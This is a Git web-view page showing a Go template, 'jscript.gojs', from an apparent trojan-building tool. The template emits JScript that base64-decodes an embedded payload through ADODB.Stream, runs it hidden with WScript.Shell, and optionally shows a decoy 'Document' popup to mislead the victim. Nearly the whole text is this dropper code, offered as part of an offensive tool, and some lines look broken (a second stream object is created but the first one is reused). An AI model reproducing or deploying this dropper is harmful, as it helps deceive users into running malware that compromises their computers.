trojantool/cmd/jscript.gojs

22 lines
462 B
Plaintext
Raw Normal View History

2023-08-10 21:42:41 +02:00
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Write(window.atob({{.Encoded}}));
var bytes = stream.Read();
var shell = new ActiveXObject("WScript.Shell");
shell.Run(bytes, 0, false);
2023-08-10 21:53:50 +02:00
{{if len .EncodedDecoy}}
2023-08-10 21:42:41 +02:00
var stream2 = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Write(window.atob({{.EncodedDecoy}}));
var bytes = stream.Read();
shell.Popup(bytes, 0, "Document", 0x40);
2023-08-10 21:53:50 +02:00
{{end}}
{{/* vim: syntax=javascript */}}